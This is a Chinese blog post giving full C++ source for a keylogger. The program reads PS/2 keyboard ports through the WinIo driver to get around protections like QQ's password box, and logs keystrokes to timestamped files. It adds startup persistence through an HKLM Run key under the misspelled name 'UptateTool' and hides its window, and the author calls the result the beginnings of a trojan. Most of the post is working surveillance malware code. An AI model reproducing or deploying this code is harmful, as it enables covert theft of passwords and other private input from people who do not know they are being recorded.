使用WINIO进行驱动层的键盘记录

突然对QQ的安全机制起了兴趣..

想来利用检测键盘状态来做键盘记录应该很容易.安全软件也不能认为这种需求为非法.那QQ怎么防类似记录呢.


做个实验.


随便写个程序,每帧都去读取键盘状态.行不行?


	for(int i = 8; i <=255; i++)
	{
		if( GetAsyncKeyState(i) & 1 == 1 )
		{
			cout << i;
		}
	}


很容易取得键盘状态,每帧之间sleep上5微秒.CPU也不会高也不会漏掉.

这样做的话,在使用记事本或其他应用的时候都是可以记录的.但当QQ登录框的密码项激活时,我发现即使没有按键盘,也会不断有检测到键盘按键被按下..

也就是说QQ的密码框在不断的伪造按键事件..


嗯,这个方法挺巧妙的.我实验了一下招商银行的安全控件.没有类似的伪造行为.


这么看QQ和安全控件的原理应该一样,HOOK掉键盘事件.隐藏或伪造真实事件.

WINDOWS的机制是后HOOK的钩子先被通知,那如果我们也HOOK掉相同的事件呢?

百度一下..发现有人研究过.QQ有个定时器,隔段时间会重新UNHOOK,HOOK一次.哈哈.这个机制确实巧妙.不禁的要赞一下.


那再底层有没有办法监控呢?.试试用WINIO直接读取键盘中断的方法.这个设计到很多硬件知识.实在是不懂,搜了一圈知道以下原理:

PS2的键盘芯片.会在有键盘按下时改变端口64的标志位.这时候去读取端口60的值,就能得到当前按下的键盘按键的扫描码.

相关资料参考 : http://blog.csdn.net/vangoals/article/details/4405032

数据一旦被读走,状态寄存器就会清0.所以这里必须不停的监控.CPU占用会较高.


于是写了如下程序.每次启动时生成一个以当前时间命名的文件,不停监控键盘事件,如果10秒内没有键盘敲击,则将之前的数据写入文件.在WIN7,XP下运行通过.

// KeyBoardRecord.cpp : Defines the entry point for the console application.
//

#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>

#include <time.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/timeb.h>
#include <assert.h>

#include <..\WinIo\Source\Dll\winio.h>

#pragma comment( lib, "..\\WinIo_v2\\Source\\Dll\\Release\\WinIo.lib" )

using namespace std;


string GetKey(int Key) // 判断键盘按下什么键
{
	string KeyString = "";
	//判断符号输入
	const int KeyPressMask=0x80000000; //键盘掩码常量
	int iShift=GetKeyState(0x10); //判断Shift键状态
	bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
	if(Key >=186 && Key <=222)
	{
		switch(Key)
		{
		case 186:
			if(IS)
				KeyString = ":";
			else
				KeyString = ";";
			break;
		case 187:
			if(IS)
				KeyString = "+";
			else
				KeyString = "=";
			break;
		case 188:
			if(IS)
				KeyString = "<";
			else
				KeyString = ",";
			break;
		case 189:
			if(IS)
				KeyString = "_";
			else
				KeyString = "-";
			break;
		case 190:
			if(IS)
				KeyString = ">";
			else
				KeyString = ".";
			break;
		case 191:
			if(IS)
				KeyString = "?";
			else
				KeyString = "/";
			break;
		case 192:
			if(IS)
				KeyString = "~";
			else
				KeyString = "`";
			break;
		case 219:
			if(IS)
				KeyString = "{";
			else
				KeyString = "[";
			break;
		case 220:
			if(IS)
				KeyString = "|";
			else
				KeyString = "\\";
			break;
		case 221:
			if(IS)
				KeyString = "}";
			else
				KeyString = "]";
			break;
		case 222:
			if(IS)
				KeyString = '"';
			else
				KeyString = "'";
			break;
		}
	}
	//判断键盘的第一行
	if (Key == VK_ESCAPE) // 退出
		KeyString = "[Esc]";
	else if (Key == VK_F1) // F1至F12
		KeyString = "[F1]";
	else if (Key == VK_F2)
		KeyString = "[F2]";
	else if (Key == VK_F3)
		KeyString = "[F3]";
	else if (Key == VK_F4)
		KeyString = "[F4]";
	else if (Key == VK_F5)
		KeyString = "[F5]";
	else if (Key == VK_F6)
		KeyString = "[F6]";
	else if (Key == VK_F7)
		KeyString = "[F7]";
	else if (Key == VK_F8)
		KeyString = "[F8]";
	else if (Key == VK_F9)
		KeyString = "[F9]";
	else if (Key == VK_F10)
		KeyString = "[F10]";
	else if (Key == VK_F11)
		KeyString = "[F11]";
	else if (Key == VK_F12)
		KeyString = "[F12]";
	else if (Key == VK_SNAPSHOT) // 打印屏幕
		KeyString = "[PrScrn]";
	else if (Key == VK_SCROLL) // 滚动锁定
		KeyString = "[Scroll Lock]";
	else if (Key == VK_PAUSE) // 暂停、中断
		KeyString = "[Pause]";
	else if (Key == VK_CAPITAL) // 大写锁定
		KeyString = "[Caps Lock]";

	//-------------------------------------//
	//控制键
	else if (Key == 8) //<- 回格键
		KeyString = "[Backspace]";
	else if (Key == VK_RETURN) // 回车键、换行
		KeyString = "[Enter]\n";
	else if (Key == VK_SPACE) // 空格
		KeyString = " ";
	//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
	//上档键和别的键组合,输出时有字符输出
	/*
	else if (Key == VK_LSHIFT) // 左侧上档键
	KeyString = "[Shift]";
	else if (Key == VK_LSHIFT) // 右侧上档键
	KeyString = "[SHIFT]";
	*/
	/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
	//else if (Key == VK_TAB) // 制表键
	//	KeyString = "[Tab]";
	//else if (Key == VK_LCONTROL) // 左控制键
	//	KeyString = "[Ctrl]";
	//else if (Key == VK_RCONTROL) // 右控制键
	//	KeyString = "[CTRL]";
	//else if (Key == VK_LMENU) // 左换档键
	//	KeyString = "[Alt]";
	//else if (Key == VK_LMENU) // 右换档键
	//	KeyString = "[ALT]";
	//else if (Key == VK_LWIN) // 右 WINDOWS 键
	//	KeyString = "[Win]";
	//else if (Key == VK_RWIN) // 右 WINDOWS 键
	//	KeyString = "[WIN]";
	//else if (Key == VK_APPS) // 键盘上 右键
	//	KeyString = "右键";
	//else if (Key == VK_INSERT) // 插入
	//	KeyString = "[Insert]";
	//else if (Key == VK_DELETE) // 删除
	//	KeyString = "[Delete]";
	//else if (Key == VK_HOME) // 起始
	//	KeyString = "[Home]";
	//else if (Key == VK_END) // 结束
	//	KeyString = "[End]";
	//else if (Key == VK_PRIOR) // 上一页
	//	KeyString = "[PgUp]";
	//else if (Key == VK_NEXT) // 下一页
	//	KeyString = "[PgDown]";
	//// 不常用的几个键:一般键盘没有
	//else if (Key == VK_CANCEL) // Cancel
	//	KeyString = "[Cancel]";
	//else if (Key == VK_CLEAR) // Clear
	//	KeyString = "[Clear]";
	//else if (Key == VK_SELECT) //Select
	//	KeyString = "[Select]";
	//else if (Key == VK_PRINT) //Print
	//	KeyString = "[Print]";
	//else if (Key == VK_EXECUTE) //Execute
	//	KeyString = "[Execute]";

	//----------------------------------------//
	else if (Key == VK_LEFT) //上、下、左、右键
		KeyString = "[←]";
	else if (Key == VK_RIGHT)
		KeyString = "[→]";
	else if (Key == VK_UP)
		KeyString = "[↑]";
	else if (Key == VK_DOWN)
		KeyString = "[↓]";
	else if (Key == VK_NUMLOCK)//小键盘数码锁定
		KeyString = "[NumLock]";
	else if (Key == VK_ADD) // 加、减、乘、除
		KeyString = "+";
	else if (Key == VK_SUBTRACT)
		KeyString = "-";
	else if (Key == VK_MULTIPLY)
		KeyString = "*";
	else if (Key == VK_DIVIDE)
		KeyString = "/";
	else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
		KeyString = ".";
	//小键盘数字键:0-9
	else if (Key == VK_NUMPAD0)
		KeyString = "0";
	else if (Key == VK_NUMPAD1)
		KeyString = "1";
	else if (Key == VK_NUMPAD2)
		KeyString = "2";
	else if (Key == VK_NUMPAD3)
		KeyString = "3";
	else if (Key == VK_NUMPAD4)
		KeyString = "4";
	else if (Key == VK_NUMPAD5)
		KeyString = "5";
	else if (Key == VK_NUMPAD6)
		KeyString = "6";
	else if (Key == VK_NUMPAD7)
		KeyString = "7";
	else if (Key == VK_NUMPAD8)
		KeyString = "8";
	else if (Key == VK_NUMPAD9)
		KeyString = "9";
	//-------------------------------------------//

	//-------------------------------------------//
	//*对字母的大小写进行判断*//
	else if (Key >=97 && Key <= 122) // 字母:a-z
	{
		if (GetKeyState(VK_CAPITAL)) // 大写锁定
		{
			if(IS) //Shift按下:为小写字母
				KeyString = Key;
			else // 只有大写锁定:输出大写字母
				KeyString = Key - 32;
		}
		else// 大写没有锁定
		{
			if(IS) // 按下Shift键: 大写字母
				KeyString = Key - 32;
			else // 没有按Shift键: 小写字母
				KeyString = Key;
		}
	}
	else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
	{
		if(IS)
		{
			switch(Key)
			{
			case 48: //0
				KeyString = ")";
				break;
			case 49://1
				KeyString = "!";
				break;
			case 50://2
				KeyString = "@";
				break;
			case 51://3
				KeyString = "#";
				break;
			case 52://4
				KeyString = "$";
				break;
			case 53://5
				KeyString = "%";
				break;
			case 54://6
				KeyString = "^";
				break;
			case 55://7
				KeyString = "&";
				break;
			case 56://8
				KeyString = "*";
				break;
			case 57://9
				KeyString = "(";
				break;
			}
		}
		else
			KeyString = Key;
	}
	if (Key != VK_LBUTTON || Key != VK_RBUTTON)
	{
		if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
		{
			if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
			{
				if(IS) // 大写锁定,并且按下上档键:输出为小写字母
					KeyString = Key + 32;
				else //只有大写锁定:输出为大写字母
					KeyString = Key;
			}
			else // 大写没有锁定:a-z
			{
				if(IS)
				{
					KeyString = Key;
				}
				else
				{
					Key = Key + 32;
					KeyString = Key;
				}
			}
		}
	}

	return KeyString;
}

//多少秒算一次间隔
#define RECORD_INTERVAL	10

void main()
{
	cout << "Start";
	if( InitializeWinIo() == false )
	{
		cout << "can not Init WinIO  :  " << GetLastError();
		ShutdownWinIo();
		return;
	}

	string Filename;
	fstream FStream;

	char szCurDir[MAX_PATH];
	GetCurrentDirectoryA( MAX_PATH, szCurDir );

	time_t	_curTime;
	_curTime = time( NULL );

	struct tm *tblock;
	tblock = localtime( &_curTime );

	char szTimeBuf[128];
	sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
	//sprintf_s( szTimeBuf, 128,("%d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday );

	Filename = string(szCurDir) + "\\" + string( szTimeBuf ) + ".txt";

	time_t _curNextRecordTime = _curTime + RECORD_INTERVAL;

	FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
	assert( FStream.fail() == false );
	while( FStream.fail() )
	{
		Sleep( 10000 );
		FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
	}

	if ( FStream.fail() )
	{
		return;
	}

	DWORD _lastVal = 0;
	string _strRecord;
	while(true)
	{
		_curTime = time( NULL );

		string TempString = "";
		DWORD dwPortVal = 0;
		if ( GetPortVal( 0x64, &dwPortVal, 1 ) )
		{
			if ( _lastVal != dwPortVal )
			{
				_lastVal = dwPortVal;
				//cout << "0x64 : " << dwPortVal << "\n";
				if ( dwPortVal & 0x1 == 1 )
				{
					DWORD dwKeyVal;
					GetPortVal( 0x60, &dwKeyVal, 1 );
					DWORD relKey = MapVirtualKey( dwKeyVal, 1 );
					TempString += GetKey( relKey );
					//cout << "0x60 : " << relKey << "\n";
					//a 30 158 s 31 159 b 48 176
					cout << TempString;
					
				}
			}
		}
		for(int i = 8; i <=255; i++)
		{
			if( GetAsyncKeyState(i) & 1 == 1)
			{
				TempString += GetKey( i );
				cout << TempString;
			}
		}

		if ( !TempString.empty() )
		{
			if ( _strRecord.empty() )
			{
				sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
				_strRecord += string( szTimeBuf ) + "\t ";
			}
			_strRecord += TempString;

			_curNextRecordTime = _curTime + RECORD_INTERVAL;
		}

		if ( _curNextRecordTime < _curTime )
		{
			if ( !_strRecord.empty() )
			{
				_strRecord += "\n";
				FStream.write(_strRecord.c_str(), _strRecord.size());
				FStream.close();
				FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

				_strRecord = "";
			}

			_curNextRecordTime = _curTime + RECORD_INTERVAL;
		}
	}

	ShutdownWinIo();

}

那..既然做类似研究,就把相关的都做了..比如说开机启动....

	char szModName[MAX_PATH];
	HMODULE GetModH = GetModuleHandle(NULL);
	GetModuleFileName( GetModH, szModName, MAX_PATH );

	HKEY hKey;
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
	RegSetValueEx(hKey, "UptateTool", 0, REG_SZ,(const unsigned char*)szModName,sizeof(szModName));
	RegCloseKey( hKey );


嗯..再比如说隐藏程序运行的界面...将程序改为WINDOWS.原来是CONSOLE.然后添加

int APIENTRY WinMain(HINSTANCE hInstance,
					   HINSTANCE hPrevInstance,
					   LPTSTR    lpCmdLine,
					   int       nCmdShow)
{
	main();
	return 0;
}

嗯..算是一个木马的雏形了..就是还搞不懂USB键盘应该怎么做.原理一样么?求达人指教...





你可能感兴趣的:(C++,键盘记录,winio)